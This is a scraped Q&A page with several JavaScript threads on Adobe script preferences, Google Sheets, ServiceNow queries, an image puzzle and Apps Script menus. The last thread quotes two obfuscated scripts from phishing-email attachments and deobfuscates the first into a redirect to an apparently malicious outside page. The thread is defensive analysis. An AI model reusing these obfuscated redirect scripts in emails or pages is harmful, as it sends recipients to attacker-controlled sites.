How do I get an OOP Javascript Remember Button Selected Previously? - javascript

Please see the code below. I'd like to have it so the javascript remembers the selected button from the last time the scrip was run.
var doc = app.activeDocument;
var choice;
var w = new Window("dialog");
w.text = "Please Select Your Gemini Save Location Below";
var g = w.add("group");
var a = g.add("radiobutton", undefined, "MN");
var b = g.add("radiobutton", undefined, "WA");
var c = g.add("radiobutton", undefined, "CA");
var d = g.add("radiobutton", undefined, "TX");
var e = g.add("radiobutton", undefined, "Remote");
var button = w.add("button", undefined, "OK");
var radiobuttons = [a, b, c, d, e];
a.checkedState = true;
for (var i = 0; i < radiobuttons.length; i++) {
(function (i) {
radiobuttons[i].onClick = function () {
choice = radiobuttons[i].text;
};
})(I);
}
w.show();

I'm used to save prefs in a json file and read them from the file at the start of a script.
For you case it would be something like this:
var doc = app.activeDocument;
// try to loads saved prefs or set default prefs
var prefs = load_prefs()
|| {a: true, b:false, c:false, d:false, e:false, choice:'MN'}
var choice = prefs.choice; // <-- get choice from prefs;
var w = new Window("dialog");
w.text = "Please Select Your Gemini Save Location Below";
var g = w.add("group");
var a = g.add("radiobutton", undefined, "MN");
var b = g.add("radiobutton", undefined, "WA");
var c = g.add("radiobutton", undefined, "CA");
var d = g.add("radiobutton", undefined, "TX");
var e = g.add("radiobutton", undefined, "Remote");
var button = w.add("button", undefined, "OK");
// set the radiobutton from the prefs
a.value = prefs.a;
b.value = prefs.b;
c.value = prefs.c;
d.value = prefs.d;
e.value = prefs.e;
var radiobuttons = [a, b, c, d, e];
for (var i = 0; i < radiobuttons.length; i++) {
(function (i) {
radiobuttons[i].onClick = function () {
choice = radiobuttons[i].text;
};
})(i);
}
w.show();
alert(choice);
// set the prefs from radiobuttons
prefs.a = a.value;
prefs.b = b.value;
prefs.c = c.value;
prefs.d = d.value;
prefs.e = e.value;
prefs.choice = choice; // <-- save choice
save_prefs(prefs); // save the prefs
// functions to load and save prefs
function load_prefs() {
var file = File(Folder.temp + '/prefs.json')
return (file.exists) ? $.evalFile(file) : false;
}
function save_prefs(prefs) {
var file = File(Folder.temp + '/prefs.json')
file.open('w');
file.encoding = 'UTF-8';
file.write(prefs.toSource());
file.close();
}
Just in case. Of course you can use a loop to set radiobuttons from prefs and vice versa if you like. Something like this:
// prefs
var prefs = {a:true, b:false, c:false, d:false, e:false};
// radiobuttons
var a = {}, b = {}, c = {}, d = {}, e = {};
// set radiobuttons from prefs
var radiobuttons = {a,b,c,d,e};
for (var btn in radiobuttons) radiobuttons[btn].value = prefs[btn];
console.log(radiobuttons)
// change values of some radiobuttons
a.value = false;
b.value = true;
// set prefs from radiobuttons
for (var pr in prefs) prefs[pr] = radiobuttons[pr].value;
console.log(prefs)

Related

Exception: The parameters (number[]) don't match the method signature for SpreadsheetApp.Range.setValues

This script is to run on multiple spreadsheets and copy (export) selected data to 1 central SS:
function doExportBLC()
{
const ss = SpreadsheetApp.getActiveSpreadsheet();
const ss_c = ss.getSheetByName('Config');
var TKT = ss_c.getRange(TKR).getValue(); // TKR = Ticket Range
var Export = ss_c.getRange(EBL).getDisplayValue(); // EBL = Export to BLC
var Target_Id = ss_c.getRange(TDR).getValues(); // TDR = Target ID Range
const ss_s = ss.getSheetByName('Index'); // Source sheet
var A = ss_c.getRange('B3').getValue(); // Ticket
var B = ss_c.getRange('B18').getValue(); // Balanço Atual
var C = ss_s.getRange('B38').getValue(); // Ativo
var D = ss_s.getRange('B34').getValue(); // A. Circulante
var E = ss_s.getRange('B40').getValue(); // A. Não Circulante
var F = ss_s.getRange('B41').getValue(); // Passivo
var G = ss_s.getRange('B42').getValue(); // Passivo Circulante
var H = ss_s.getRange('B43').getValue(); // Passivo Não Circ
var I = ss_s.getRange('B44').getValue(); // Patrim. Líq
var Data = [];
Data.push(A,B,C,D,E,F,G,H,I);
if( Export == "TRUE" )
{
const trg = SpreadsheetApp.openById(Target_Id); // Target spreadsheet
const ss_t = trg.getSheetByName('BLC'); // Target sheet
var LR_T = ss_t.getLastRow();
var LC_T = ss_t.getLastColumn();
var search = ss_t.getRange("A2:A" + LR_T).createTextFinder(TKT).findNext();
// if (!search) return;
if (search)
{
search.offset(0, 1, 1 , Data.length).setValues(Data);
}
else
{
var export_data = ss_t.getRange(LR_T+1,1,1,1).setValue([TKT]);
}
}
};
Exception: The parameters (number[]) don't match the method signature
for SpreadsheetApp.Range.setValues. doExportBLC # temp.gs:44
Line 44: search.offset(0, 1, 1, Data.length).setValues(Data);
That script is to search if the ticked was already exported, if no fill new ticket and if yes export data to that line
The part, if no and add new ticket works, the rest to export data isn't, everything else I get those variables from global constants used on other scripts and that works
I'm getting individual cells from more than 1 sheet and various cells with getValue:
var A = ss_c.getRange('B3').getValue(); // Ticket
then
var Data = [];
Data.push(A,B,C,D,E,F,G,H,I);
to setValues with
search.offset(0, 1, 1 , Data.length).setValues(Data);
As far as I understand that should be the correct way to deal with a 1 dimension array, as the output should be just 1 row
Edit
Added [example].
Config and Index are from source SS, where function will run, multiple sheets will run this
BLC is from target SS, where data will be exported to
Without being able to see the spreadsheet I have to guess but perhaps this will help
function doExportBLC() {
const ss = SpreadsheetApp.getActive();
const shc = ss.getSheetByName('Config');
var TKT = shc.getRange(TKR).getValue(); // TKR = Ticket Range
var Export = shc.getRange(EBL).getDisplayValue(); // EBL = Export to BLC
var tid = shc.getRange(TDR).getValues(); // TDR = Target ID Range
const shs = ss.getSheetByName('Index'); // Source sheet
var A = shc.getRange('B3').getValue(); // Ticket
var B = shc.getRange('B18').getValue(); // Balanço Atual
var C = shs.getRange('B38').getValue(); // Ativo
var D = shs.getRange('B34').getValue(); // A. Circulante
var E = shs.getRange('B40').getValue(); // A. Não Circulante
var F = shs.getRange('B41').getValue(); // Passivo
var G = shs.getRange('B42').getValue(); // Passivo Circulante
var H = shs.getRange('B43').getValue(); // Passivo Não Circ
var I = shs.getRange('B44').getValue(); // Patrim. Líq
var Data = [];
Data.push([A, B, C, D, E, F, G, H, I]);
if (Export == "TRUE") {
tid.forEach(id => {
let trg = SpreadsheetApp.openById(tid); // Target spreadsheet
let ss_t = trg.getSheetByName('BLC'); // Target sheet
var LR_T = ss_t.getLastRow();
var LC_T = ss_t.getLastColumn();
var search = ss_t.getRange("A2:A" + LR_T).createTextFinder(TKT).findNext();
if (search) {
search.offset(0, 1, Data.length, Data[0].length).setValues(Data);
}
else {
var export_data = ss_t.getRange(LR_T + 1, 1, 1, 1).setValue(TKT);
}
});
}
}

How add a filter in server script with query

i'm new in servicenow and I have to add this filter "document_id.number STARTS WITH BKNG"
as a query, how can i do in servicenow?
this is my code:
// only show 30 in header menu dropdown
var max = 30;
var t = data;
t.items = [];
t.count = 0;
var u = getMyApprovals();
// use record watchers to tell header when to update dropdown counts
t.record_watchers = [];
t.record_watchers.push({'table':'sysapproval_approver','filter':'approverIN' + u.toString() + '^state=requested'});
var z = new GlideRecord('sysapproval_approver');
z.addQuery("approver", u);
z.addQuery("state", "requested");
z.addQuery("document_id.number", "STARTSWITH", "BKNG")
z.orderByDesc('sys_updated_on');
z.setLimit(max);
z.query();
var link = {};
link.title = gs.getMessage('View all approvals');
link.type = 'link';
link.href = '?id=approvals';
link.items = [];
t.items.push(link);
while (z.next()) {
var a = {};
var rec = getRecordBeingApproved(z);
if (!rec.isValidRecord()) // nothing being approved - hmmm
continue;
a.short_description = rec.short_description + "";
if (rec.getRecordClassName() == "sc_request") {
var items = new GlideRecord("sc_req_item");
items.addQuery("request", rec.getUniqueValue());
items.query();
if (items.getRowCount() > 1)
a.short_description = items.getRowCount() + " requested items";
else if (items.getRowCount() == 1) {
items.next();
a.short_description = items.getValue("short_description");
}
}
$sp.getRecordValues(a, z, 'sys_id,sys_updated_on');
a.number = rec.getDisplayValue();
a.__table = z.getRecordClassName();
a.type = 'approval';
t.items.push(a);
t.count++;
}
function getRecordBeingApproved(gr) {
if (!gr.sysapproval.nil())
return gr.sysapproval.getRefRecord();
return gr.document_id.getRefRecord();
}
i tried doing z.addQuery ("document_id.number", "STARTSWITH", "BKNG")
but it doesn't works.
i don't know how to do.
You can't dot-walk the document_id field when using .addQuery() as it is not a reference filed. Instead, you can use the Approval for (sysapproval) reference field like so:
z.addQuery("sysapproval.number", "STARTSWITH", "BKNG");

How to swap adjacent images in HTML after an if statement

If I click on a picture next to the blank cell (either above, left, right or below it), it needs to swap the position of the cell I clicked on and the blank cell.
My table is 6x6 and I think I have the right methodology, but it isn't swapping...
The blank cell is called blank.jpg and every other cell is 01.jpg - 35.jpg
function move(n)
{
var clickedImage = document.images[n].src;
var leftImage = document.images[n-01].src;
var rightImage = document.images[n+01].src;
var upImage = document.images[n-06].src;
var downImage = document.images[n+06].src;
var leftNum = leftImage.charAt(leftImage.length-5);
var rightNum = rightImage.charAt(rightImage.length-5);
var upNum = upImage.charAt(upImage.length-5);
var downNum = downImage.charAt(downImage.length-5);
if (isNan(leftNum))
{
a = clickedImage
b = leftImage
clickedImage = b
leftImage = a
}
else if (isNan(rightNum))
{
a = clickedImage
b = rightImage
clickedImage = b
rightImage = a
}
else if (isNan(upNum))
{
a = clickedImage
b = upImage
clickedImage = b
upImage = a
}
else if (isNan(downNum))
{
a = clickedImage;
b = downImage;
clickedImage = b;
downImage = a;
}
}

How I create a SubMenu whit google script

I need to know how create a simple menu with 2 menu items(A and B): the first one(A) contains 1 item (A1),the second one(B), contains 3 items inside(B1,B2,B3)
I can create an example but always fail:
CODE
var handler = app.createServerHandler();
//Create menu bar
var menuBar = app.createMenuBar(true);
var data = ss.getSheets()[LOG_SHEET_INDEX].getDataRange().getValues();
var lastRow = ss.getLastRow();
for(var row = 1; row < lastRow; row++){
var id_menu =1;
if(data[row][0]==0){
var nivel = data[row][1];
var menuItem = app.createMenuItem(data[row][2], handler);
var separator = app.createMenuItemSeparator();
menuBar.addSeparator(separator);
var subMenu = app.createMenuBar(true).setId("subMenu"+nivel);
for(var i = 1; i< lastRow; i++){
if(data[i][0]==nivel){
var sm = app.getElementById("subMenu"+nivel)
this[sm.addItem(data[row][2], handler)];
}
}menuItem.setSubMenu(sm);
}menuBar.addItem(data[row][2], app.createMenuBar(true));
}
app.add(menuBar);
RESULT
and i need something like (hidding A1,B1,B2,B3 : showing when focus A|B):
____
A
A1
____
B
B1
B2
B3
THIS IS MY SPREAD:
Please Help!!
Hmm, as Serge pointed out my prev. answer is wrong. Meanwhile I found out, what the real reason is:
The MenuItem having the submenu must not have a handler:
var menuBar=app.createMenuBar();
var subb1=app.createMenuBar(true);
subb1.addItem (app.createMenuItem("S1", handler1));
subb1.addItem (app.createMenuItem("S2", handler2));
var mi1=app.createMenuItem("X1", null); // passing null and not a handler makes submenu work...
mi1.setSubMenu(subb1);
menuBar.addItem(mi1);
app.add(menuBar);
I done it but I have a problem with handers which can't be used(both serverhandle and clienthandler) becouse the parameter 'e' is undefined or void: (Also a problem with MenuItemID)
I need to know which button is presed knowing 'e' and dont know whats wrong.
do get(){
var app = UiApp.createApplication()
var menu = menuBar();
var panel = app.createAbsolutePanel().setId("Panel");
var horizontalPanel = app.createHorizontalPanel().setId("horizontalPanel");
var verticalPanelDoc = app.createVerticalPanel().setId("verticalPanelDoc");
var verticalPanelMenu = app.createVerticalPanel().setId("verticalPanelMenu");
var scrollPanelDoc = app.createScrollPanel().setId("scrollPanelDoc").setSize('1000', '600');
verticalPanelMenu.add(menu);
verticalPanelDoc.add(scrollPanelDoc);
horizontalPanel.add(verticalPanelMenu);
horizontalPanel.add(verticalPanelDoc);
panel.add(horizontalPanel)
app.add(panel);
return app;
}
function show(e){
var ss =SpreadsheetApp.openById(TABLA_MENU);
//**testing 'e' = undefined or void**
var e_source = e.parameter.source;
ss.getSheetByName("menu").getRange("B"+6).setValue(e_source);
ss.getSheetByName("menu").getRange("C"+6).setValue(e);
//**result in cells : e_source = undefined e = {parameter={}}**
var app = UiApp.getActiveApplication();
var panel = app.getElementById("Panel");
var verticalPanelDoc = app.getElementById("verticalPanelDoc");
var horizontalPanel = app.getElementById("horizontalPanel");
var scrollPanelDoc = app.getElementById("scrollPanelDoc");
verticalPanelDoc.clear();
verticalPanelDoc.remove(scrollPanelDoc);
//**this will depend of 'e' **
var panelToShow = app.createCaptionPanel().setTitle("Show").setText("Show");
//
var label = app.createLabel().setText("Works!");
panelToShow.add(label);
verticalPanelDoc.add(panelToShow);
return app;
};
function menuBar(){
var ss = SpreadsheetApp.openById(TABLA_MENU);
var app = UiApp.getActiveApplication();
var absolutePanel = app.getElementById("absolutePanel");
var verticalPanelMenu = app.getElementById("verticalPanelMenu");
var horizontalPanel = app.getElementById("horizontalPanel");
var option_menu = app.getElementById("option_menu");
var arrayMenu = ss.getSheetByName("menu").getDataRange().getValues();
var arraySubMenu =ss.getSheetByName("submenu").getDataRange().getValues();
var arrayEnlacesSubMenu =ss.getSheetByName("enlaces").getDataRange().getValues();
var test1 = arraySubMenu[1][1];//A1
var test2 = arrayMenu[1];//A
var test3 = arrayEnlacesSubMenu[1][1]
// **create menu**
var menuBar = app.createMenuBar(true).setAnimationEnabled(true);
var handler = app.createServerHandler("show")
.addCallbackElement(verticalPanelMenu)
.addCallbackElement(horizontalPanel)
.addCallbackElement(absolutePanel);
// **add structure to menu**
for(var k=1; k<arrayMenu.length; k++) {
menuBar.addItem(arrayMenu[k][1], arrayMenu[k][1] = app.createMenuBar(true).setWidth("100%")).setWidth("100%");
for(var j=1; j<arraySubMenu[k].length; j++){
if(arraySubMenu[k][j]!=''){
var enlace = arrayEnlacesSubMenu[j][1].toString();
var a = arrayMenu[k][1];
var b = arraySubMenu[k][j];
//var c = this[arrayMenu[k][1]].addItem(arraySubMenu[k][j],handler).addSeparator(app.createMenuItemSeparator())
arrayMenu[k][1].addItem(arraySubMenu[k][j],handler).setId("1"+arraySubMenu[k][j])).addSeparator(app.createMenuItemSeparator());
//**THIS ID nither set the ID* show in navigator ID = ... class="gwt-MenuItem" id="gwt-uid-18" role="menuitem" aria-hasp....pan="1">Publicaciones 2012</td>
}
}
menuBar.addSeparator(app.createMenuItemSeparator());
}
return menuBar;
};
menuSpreadsheet
submenuSpreadsheet
Sorry, you can't have it (yet): http://code.google.com/p/google-apps-script-issues/issues/detail?id=317

What does this Javascript do?

I've just found out that a spammer is sending email from our domain name, pretending to be us, saying:
Dear Customer,
This e-mail was send by ourwebsite.com
to notify you that we have temporanly
prevented access to your account.
We have reasons to beleive that your
account may have been accessed by
someone else. Please run attached file
and Follow instructions.
(C) ourwebsite.com (I changed that)
The attached file is an HTML file that has the following javascript:
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Another email had this:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ...
Thanks
Answer:
The script executes
document.location.href = "http://mvblaw.com/z.htm"; //Evil site (I assume)
It also contains a large number of useless lines to hide the script's true purpose.
Analysis
Here it is unpacked.
function mD() {};
this.aB = 43719;
mD.prototype = {
i: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
this.v = "v";
var q = 27427;
var m = new Date();
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';
Cleaning up the obfuscations and adding meaningful names, it becomes
function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
doIt: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['location'];
this.v = "v";
var q = 27427;
var m = new Date();
iD['href'] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';
Removing all of the useless lines, it becomes
function TempClass() {};
TempClass.prototype = {
doIt: function () {
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new TempClass();
b.doIt();
The script has a lot of useless stuff just to create confusion, the essential parts of the script are:
function mD() {};
mD.prototype = {
i: function () {
// read between every two letters:
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
.replace(/[gJG,\<]/g, '');
var f = document;
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
}
};
var b = new mD();
b.i();
If we clean up more:
function mD() {};
mD.prototype = {
i: function () {
var a = 'http://mvblaw.com/z.htm';
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new mD();
b.i();
And more:
function mD() {};
mD.prototype = {
i: function () {
document.location.href = 'http://mvblaw.com/z.htm';
}
};
var b = new mD();
b.i();
No geniuses, they:
hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
h t t p : / / m v b l a w . c o m / z . h t m
f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
l o c a t i o n
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
h r e f
Didn't even need to run it through regex :)
I'm going to assume they hacked mvblaw and snuck the payload page on there. Anyone with a VM want to see what it does?
Basically, it appears to set (document['location'])['href'] (or, in regular speak, document.location.href) to http://mvblaw.com/z.htm.
The obfuscation code is pretty simple, just replacing the noise characters with nothing:
var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
// a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
// iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
// document.location.href = a (the URL above).

Categories